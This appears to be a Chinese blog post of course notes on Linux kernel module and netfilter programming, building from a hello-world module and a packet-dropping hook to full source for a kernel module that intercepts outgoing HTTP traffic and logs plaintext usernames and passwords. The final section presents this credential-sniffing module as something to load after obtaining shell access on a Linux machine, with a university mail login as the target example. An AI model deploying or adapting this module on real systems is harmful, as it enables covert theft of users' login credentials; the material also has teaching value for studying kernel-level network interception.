基于LKM与netfilter编程的窃取FTP/HTTP的用户名与密码

这篇博客是通过学习郭老师上课的知识,记录下一些理解与总结,并应用知识于实验。类似与学习笔记与实验思考过程记录,详情可访问郭老师的知乎链接:https://zhuanlan.zhihu.com/c_1081549579018608640

一、背景与目的

1.1 LKM简介
LKM,即Linux Kernel Model。LKM是Linux内核为了扩展其功能所使用的可加载内核模块。LKM的优点是动态加载,在不重编译内核和重启系统的条件下对类Unix系统的系统内核进行修改和扩展。否则的话,对Kernel代码的任何修改,都需要重新编译Kernel,大大浪费了时间和效率。大多数的Unix派生系统,包括Linux、BSD、OSX等都支持这个特性。基于此特性,LKM常被用作特殊设备的驱动程序(或文件系统),如声卡的驱动程序等等。

1.2 netfilter简介
Netfilter是Linux 2.4.x引入的一个子系统,它作为一个通用的、抽象的框架,提供一整套的hook函数的管理机制,使得诸如数据包过滤、网络地址转换(NAT)和基于协议类型的连接跟踪成为了可能。
netfilter的架构就是在整个网络流程的若干位置放置了一些检测点(HOOK),而在每个检测点上登记了一些处理函数进行处理。如下图所示:
在这里插入图片描述
1.3 我们的目的
基于linux的服务器已经越来越多,而LKM更是Linux Hacking中的最高技术,笔者老师上课时简单的介绍了下该技术。本篇简单的运用基本知识,基于LKM与netfilter编写一个内核模块,使得在linux用户使用HTTP时可以窃取其用户名和密码。比如我们在web上登录邮箱时,我们的内核模块会记录下数据包里的用户名和密码。注意这里是窃取HTTP中的内容,而非HTTPS,HTTP中的大部分内容都为明文传输,故我们截取数据包中的数据即可。虽说这相当于抓包,可与利用wireshark等工具不同,这里我们是利用linux的模块部分来设定网卡规则,类似于一个小防火墙规则。当我们获得一台linux的shell权限时,便可以运行我们的代码了。
(分析完原理,不知利用pcap是不是也能达到相同的成果?先留下一个疑问)

二、简单的LKM编程

分析完目的,一步一步来,先从简单的LKM开始学起。这一小节将会记录LKM的简单用法并实现一个简单的hello模块。

2.1 平台与背景
虚拟机:vm workspace 12 pro
内核版本:4.18
系统版本:Ubuntu 18.04

2.2 LKM编程简单流程
首先,一个简单的LKM程序需要有如下两个部分:

int init_module(void) /*用于初始化所有成员*/ 
void cleanup_module(void) /*用于退出清理*/ 

可以看到,与一般的程序不同,我们的LKM程序有两个部分,一个入口一个出口。当向内核插入模块时,调用 entry 函数,从内核删除模块时则调用 exit 函数。因此,我们构造一个简单的hello.c模块:

//hello.c
#include <linux/kernel.h>
#include <linux/module.h>

int init_module(void) {
  printk(KERN_INFO "Hello World!\n");
  return 0;
}
void cleanup_module(void) {
  printk(KERN_INFO "Bye World!\n");
}

与普通的编程方式不同,可以注意到我们这里用了一个printk函数,这不是为了打印而是为了记录。在LKM编程中我们只有有限的操作集。很明显这段代码的目的是让我们在插入代码时记录一个Hello world而退出时再记录一个Bye World。

写完代码后,我们需要其次需要编译它。LKM编译比较麻烦,写在makefile中比较方便:

obj-m += hello-world.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

编译时我们发现出错了,原因是我们的代码还没有补全,我们还需要在我们的LKM中加上一些宏定义:

MODULE_LICENSE("GPL"):内核可以识别的许可证(任意版本GNU通用公共许可证),GPL v2等。
MODULE_AUTHOR("作者"):声明作者信息,可以不用
MODULE_VERSION("版本");声明版本信息,可以不用
MODULE_DESCRIPTION("功能描述");声明模块功能,可以不用

当我们需要在加载内核模块的时候向其传递参数,以让同一代码达到不同的效果。当然我们的参数必须用module_param宏来声明:

module_parame(name,type,perm)

  name:变量名

  type:变量类型

  perm:权限

在此测试版本中我们并不需要加上参数,但宏定义是要的,因此完整代码如下:

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>

static int __init init_my_module(void) {
  printk(KERN_INFO "Hello, Kernel!\n");
  return 0;
}

static void __exit exit_my_module(void) {
  printk(KERN_INFO "Bye, Kernel!\n");
}

module_init(init_my_module);
module_exit(exit_my_module);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("YE");

完善代码后我们make一下,可以看到编译完成了,编译好的后缀名为.ko。
在这里插入图片描述

2.3 LKM的应用
在上面的模块中我们写完了代码,那么该如何将代码插入到内核中呢?LKM有如下的一些操作:

  加载内核模块:insmod

  卸载内核模块:rmmod

  查看内核模块:lsmod

将我们编译好的代码加载并卸载:

cd test
insmod hello.ko #加载模块
remodd hello #卸载模块
dmesg -c #查看消息

在这里插入图片描述
可以看到输出了我们期望的信息。了解如何简单编写LKM程序后,我们便可以进行接下来的部分了。

三、简单的netfillter编程

3.1 netfillter简单的原理
netfillter,顾名思义,就是网络过滤器,通过hook网络流程中的若干位置来运行我们的代码。其中IP层的五个hook点如下:

NF_IP_PRE_ROUTING:刚刚进入网络层的数据包通过此点(刚刚进行完版本号,校验和等检测), 目的地址转换在此点进行;
NF_IP_LOCAL_IN:经路由查找后,送往本机的通过此检查点,INPUT包过滤在此点进行;
NF_IP_FORWARD:要转发的包通过此检测点,FORWORD包过滤在此点进行;
NF_IP_POST_ROUTING:所有马上便要通过网络设备出去的包通过此检测点,内置的源地址转换功能(包括地址伪装)在此点进行;
NF_IP_LOCAL_OUT:本机进程发出的包通过此检测点,OUTPUT包过滤在此点进行。

我们先做个简单的项目,比如我们现在来设置一条规则,使我们接收到的包都被丢掉.

3.2简单的框架
设置一个简单的框架我们需要做以下几步:
(1)定义一个nf_hook_pos结构,此结构的列表成员用于维护Netfilter钩子列表

static struct nf_hook_ops nfho;

(2)在我们init的框架里给结构体赋值

nfho.hook = hook_func;//我们的hook回调函数,即每次抓到数据报都会调用该函数
nfho.hooknum = NF_INET_PRE_ROUTING;//这里是定义hook的点,设置在pre_routing上
nfho.pf = PF_INET;//协议簇,对于ipv4而言,是PF_INET
nfho.priority = NF_IP_PRI_FIRST;//优先级

(3)设置我们的钩子函数
在上面我们已经将我们钩子函数写入结构体了,接下来便是写我们的钩子函数了,这里根据内核版本不同,可能规则不太一样,下面是笔者的内核版本,共三个参数,具体定义可以去/usr/scr/linux版本-generic/linux/netfilter.h中查看。接下定义我们的函数,这里我们直接返回NF_DROP其实就是将数据报直接丢掉:

unsigned int hook_func(void *priv,
                               struct sk_buff *skb,
                               const struct nf_hook_state *state){
        return NF_DROP;
}

(4)注册与卸载钩子
写好钩子后,我们只要在模块插入时注册钩子,清理时卸载钩子就好了:

 nf_register_net_hook(&init_net,&nfho);
 nf_unregister_net_hook(&init_net,&nfho);

同理,根据版本不同该函数形式也可能有所不同,老板的只有一个参数,新版内核的钩子函数注册方法,增加了网络命名空间,默认可以使用&init_net。

3.3完整代码
我们将以上代码写好了就有了第一次我们的简单程序了,这个程序可以将数据报全部丢掉:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

unsigned int hook_func(void *priv,
                               struct sk_buff *skb,
                               const struct nf_hook_state *state){
        return NF_DROP;
}

int init_module(){
        nfho.hook = hook_func;
        nfho.hooknum = NF_INET_PRE_ROUTING;
        nfho.pf = PF_INET;
        nfho.priority = NF_IP_PRI_FIRST;

        nf_register_net_hook(&init_net,&nfho);
        return 0;

}

void cleanup_module(void){
        nf_unregister_net_hook(&init_net,&nfho);
}            

四、窃取HTTP用户的用户名/密码

了解完了以上的基础后,我们便着手设计一个模块用于窃取HTTP用户名和密码吧。
4.1 需求分析
这里我们以科大邮箱(http://mail.ustc.edu.cn/)为例:
在这里插入图片描述
可以看到该网站并不是https传输的,用户名与密码可能为明文传输,因此我们可以随便输入一个用户名/密码,来试试看抓包的结构,这里我们输入了hejunye/hejunye123,并在wireshark中查看:
在这里插入图片描述
可以看到我们的用户名/密码果然是明文传输的,且科大邮箱的IP地址为202.38.64.8
所以我们的目的就很明确了:

  • 找寻网络层目的IP为202.38.64.8的TCP包
  • 找寻其中传输层目的的端口为80包
  • 根据字符串匹配获得uid=后面的内容为用户名
  • 根据字符串匹配获得password=后面的内容为密码

4.2 代码撰写
调式前最好先保存一个快照,因为调试过程面临着无穷无尽的死记

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/inet.h>

static struct nf_hook_ops nfho;
const unsigned char *Attacker_IP = "202.38.64.8";
static char *username = NULL;
static char *password = NULL;
//static unsigned int target_ip = 0;

void get_password(struct sk_buff *skb){
	
	struct tcphdr *tcp;
	char *data;
	char *name;
	char *passwd;
	char *check_connection;
	char *_and;
	int len = 0;
	int i = 0;
   
	tcp=tcp_hdr(skb);
	data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));	
	
	    if (strstr(data,"Connection") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
        
        check_connection = strstr(data,"Connection");
        
    
        name = strstr(check_connection,"uid=");
        _and = strstr(name,";");
        name += 4;
        len = _and - name;
        if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
            return;
        memset(username, 0x00, len + 2);
        for (i = 0; i < len; ++i)
        {
            *(username + i) = name[i];
        }
        *(username + len) = '\0';
        
        passwd = strstr(name,"password=");
        _and = strstr(passwd,"&");
        passwd += 9;
        len = _and - passwd;
        if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
            return;
        memset(password, 0x00, len + 2);
        for (i = 0; i < len; ++i)
        {
            *(password + i) = passwd[i];
        }
        *(password + len) = '\0';
//	target_ip = ip_hdr(skb)->daddr;
	printk("Uername: %s   Password: %s\n IP:%d", username, password,ip_hdr(skb)->daddr);

      
    } 
}

unsigned int hook_func(void *priv,
                       struct sk_buff *skb,
                       const struct nf_hook_state *state){
	struct sk_buff *sb = skb;
	struct tcphdr *tcp;
   	
//	printk("Hook successfully!");	
	//Find the TCP packet
	if (ip_hdr(sb)->protocol != IPPROTO_TCP)
	return NF_ACCEPT;		       
   	
//	printk("Get the TCP packet successfully!");

	//Find the packet where the destination is MAil_IP
//	if (ip_hdr(sb)->daddr !=  in_aton(Mail_IP))
//	return NF_ACCEPT;
//	printk("%u%u",ip_hdr(sb)->daddr,in_aton(Mail_IP))
	tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));
	 
//	printk("port is %d",ntohs(tcp->dest));   
	//find the HTTP data
	if (tcp->dest != htons(80))
	return NF_ACCEPT;
//	printk("Get the packet successfully!");
//	check_ftp(sb);
	//Steal the password
//	if(!pair)
		get_password(sb);
   
	return NF_ACCEPT;
}


static __init int init_HTTP(void){
        nfho.hook = hook_func;
        nfho.hooknum = NF_INET_POST_ROUTING;
        nfho.pf = PF_INET;
        nfho.priority = NF_IP_PRI_FIRST;

        nf_register_net_hook(&init_net,&nfho);
        return 0;

}

static __exit void cleanup_HTTP(void){
        nf_unregister_net_hook(&init_net,&nfho);
}

module_init(init_HTTP);
module_exit(cleanup_HTTP);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("YE");

在这里插入图片描述
参考文档:https://blog.csdn.net/m0_37806112/article/details/81174120
https://blog.csdn.net/m0_37806112/article/details/81175552
https://blog.csdn.net/Sophisticated_/article/details/83542395
https://blog.csdn.net/fuyuande/article/details/81104328
https://jingyan.baidu.com/article/642c9d3415d2c9644a46f7c6.html
https://www.cnblogs.com/gejuncheng/p/7781357.html

猜你喜欢

转载自blog.csdn.net/weixin_42107987/article/details/89050238